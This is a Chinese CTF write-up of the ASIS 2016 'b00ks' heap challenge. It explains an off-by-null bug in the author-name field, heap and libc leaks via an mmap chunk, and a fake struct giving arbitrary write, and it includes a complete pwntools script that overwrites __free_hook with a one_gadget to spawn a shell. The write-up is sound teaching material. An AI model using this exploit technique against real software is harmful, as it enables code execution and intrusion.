wiki上的一道经典例题,写wp的目的一方面是wiki上一些细节讲的有点不太清楚,一方面是自己巩固一下做过的题目,看是否是真的掌握。
首先提供题目二级制文件链接:books
预览:
拿到题目先看基本信息:
可以看到题目是64位文件,所有保护全开,一般这种题目是堆题,且看到full relro则大概率是篡改malloc_hook。
然后运行一下,找到程序运行入口,然后放入ida里看反汇编码:
准备功能分析:(不要忽视,做的题多了会发现有时候这里可能存在关键漏洞)
这里因为我已经做过了,所以函数名和一些变量名已经被我改成了对应的功能,可以看到程序开头先打印欢迎语,然后让我们输入作者(字符串储存在bss段,是可控的),这里的输入函数存在off-by-null漏洞,当输入32个字符时,既可以用来change,又可以用来leak(因为字符串后面没有‘\x00’,所以可以泄露authername这个字符串之后的内容直到’\x00’,这也是常见的套路。。。)
程序主功能分析:
程序有五个功能:1.create 2.delete 3.edit 4.print 5.change_authorname,大致的整体功能实现就是用户申请书本,然后书的名字和内容大小都由我们自己来定,并将它们的内容存放在堆上,然后创建一个大小固定的Book结构体来储存被创建的book的信息,其也放在堆上,创建一个book以后堆上的结构和bss段的联系大概如下图所示:
紧接着删除功能删除booklist中的Book指针,并且将指针归0,没有uaf漏洞
然后edit功能就是将Book的des重新输入,没有漏洞
然后是print功能,打印书的ID,name,des和书的作者,这个漏洞之前提过,分析bss段的结构就可以发现打印作者使可以泄露第一个book指针,这里需要注意,因为之后的所有chunk大小我们都可以自己控制,所以经过简单的计算,就等于我们泄露了所有的book指针和name,des指针!!!这是解题的一个关键之处。
再之后是change_authorname功能,就是更改作者的名字,当输入32个字节时依然存在off-by-null漏洞(因为是off-by-null,不是off-by-one,所以难度会有所加大)。
漏洞利用思路:
leak:
- 在前面已经提过,利用authorname最后一个字符’\x00’被book指针覆盖所以可以泄露book1指针的值,从而泄露之后所有的指针。
- 难点在于怎样泄露Libc,这里有一种新的方法,适用于chunk大小我们自己可控并且其地址可以泄露的情况,我们把book2的name和des申请的大于128KB(0x20000),则ptmalloc2将会用mmap来为我们分配内存,然而mmap的地址和libc的地址相对偏移不变(经过一次调试就能确定偏移),所以我们只要泄露了book2的name地址就等于泄露了libc,那再思考怎样泄露book2的name地址呢?现阶段我们只能利用程序自带的打印功能,他将打印所选的book的name指针和des指针所指向的内容,由book1指针已经由于off-by-null而最后一个字节被变为00,其之前肯定大于0,因为内存的分页分配机制,所以想让其被改过后的book1指针落入book1的des中,book1的des要相对的大一点。。。并且利用edit功能来重新编写book1的des,在book1指针指向的那个地方(这里的偏移不变,通过调试确定)伪造一个fake_book2_struct,其name指针为book2的name指针的地址(为addr_book1+56),然后利用打印功能来leak出book2的name指针的值,Libc泄露成功!!!
change:
利用程序自带的edit功能来改malloc_hook为one_gadget(one_gadget需要多次尝试),因为我们已经可以掌控book1的des指针的值了,所以也就实现了任意地址写入。之后再次申请的时候就会触发malloc_hook拿到shell。
exp如下(我当时做的时候是改free_hook,具体的一些偏移量需要自己调试来确定,exp只提供思路!!!):
#coding:utf-8
from pwn import *
context(os = 'linux',arch = 'amd64')
context.log_level = 'debug'
p=process('./b00ks')
P=ELF('./b00ks')
libc=ELF('./libc.so.6')
#先创建每个函数
def create(name_size,name,des_size,des):
p.recvuntil('> ')
p.sendline('1')
p.recvuntil(': ')
p.sendline(str(name_size))
p.recvuntil(': ')
p.sendline(name)
p.recvuntil(': ')
p.sendline(str(des_size))
p.recvuntil(': ')
p.sendline(des)
def delete(ID):
p.recvuntil('> ')
p.sendline('2')
p.recvuntil(': ')
p.sendline(str(ID))
def edit(ID,des):
p.recvuntil('> ')
p.sendline('3')
p.recvuntil(': ')
p.sendline(str(ID))
p.recvuntil(': ')
p.sendline(des)
def printf(ID):
p.recvuntil('> ')
p.sendline('4')
p.recvuntil(': ')
for i in range(ID):
book_id=p.recvline()[:-1]
p.recvuntil(': ')
book_name=p.recvline()[:-1]
p.recvuntil(': ')
book_des=p.recvline()[:-1]
p.recvuntil(': ')
book_author=p.recvline()[:-1]
return book_id,book_name,book_des,book_author
def change(name):
p.recvuntil('> ')
p.sendline('5')
p.recvuntil(': ')
p.sendline(name)
#创建两个书本
p.recvuntil(': ')
p.sendline('a'*32)
create(8,'a'*4,1024,'a'*8)
create(0x21000,'b'*4,0x21000,'b'*8)
#泄露第一个书本的地址
book1_id,book1_name,book1_des,book1_author = printf(1)
book1_addr=u64(book1_author[32:32+6].ljust(8,'\x00'))
log.success('book1_addr=' + hex(book1_addr))
#改第一个书的description为伪造的book2(name指针和des指针指向book2的name指针和des指针)
payload='a'*0x3c0+p64(1)+p64(book1_addr+0x38)+p64(book1_addr+0x40)+p64(0xaaaa)
edit(1,payload)
#改名字覆盖book1的地址,使被覆盖的地址指向伪造的Book
change('a'*32)
#泄露libc地址和查看one_gadget地址
offset=0x5b2010 #需要自己确定,变动较大。
#one_gadget=0x45216
one_gadget=0x4526a
#one_gadget=0xf02a4
#one_gadget=0xf1147
book_id,book_name,book_des,book_author = printf(1)
book2_name_addr=u64(book_name.ljust(8,'\x00'))
log.success('book2_name_addr=' + hex(book2_name_addr))
libcbase = book2_name_addr - offset
#通过伪造的Book改book2的des指针,使其指向__free_hook, 通过edit功能将__free_hook改为one_gadget
free_hook = libc.symbols['__free_hook'] + libcbase
#binsh_addr=libc.search('/bin/sh').next() + libcbase
#system_addr=libc.symbols['system'] + libcbase
edit(1,p64(free_hook))
one_gadget_addr = one_gadget + libcbase
edit(2,p64(one_gadget_addr))
#然后调用删除功能,调用free()函数
delete(2)
p.interactive()
第一次做的时候的一些心得:
2016-Asis-b00ks:
- 个人感觉这一题难度较大(off-by-null),我对这别人wp才勉强看懂并且感觉思路比较巧妙,也获益匪浅,最后自己拿了shell也比较开心,起码证明自己真的懂了。。。。。想总结几个小的需要注意,很有可能成为阻碍我们做题的关键点。
- 关于调试:调试最好用gdb attach pid 在exp未成形之前,保证不要有语法错误,然后一点一点跟exp看数据行了,如果开了PIE的话,下断点要用基址(用vmmap看)+ida里的地址才是程序真正的虚拟地址。调试过程x/160xg addr 看bss段的数据或者堆的数据。
- libc的偏移泄露新方法:mmap出来的地址和libc的地址相对位置不变。 除了用got表之外的新方法。
- relro full 时虽然无法改got中的数据,但是可以改__free_hook(malloc同理)
- 在recvuntil()接收时一定要注意‘ ’和‘\n’的处理。。而且一般只要截取最后一个标点即可。
- python的函数返回值可以有多个,同理也是可以多个接收。for i in range(整数)的巧妙运用也可以接收到自己想接收的数据。
- 泄露Libc’的思路可以为先想着泄露一块当前程序的一个地址(mmap地址或者堆的地址),然后通过gdb调试看某一次的程序来确定偏移(got则不需要),之后用泄露的地址加上偏移即可。
- 如果程序有对某一块内存写的功能函数,我们就可以想着控制这块内存的地址,进而造成任意内存写。
- one_gadget的运用,暂时觉得可以逐个尝试,有可能需要构造rax rsp等等。调试问题还未解决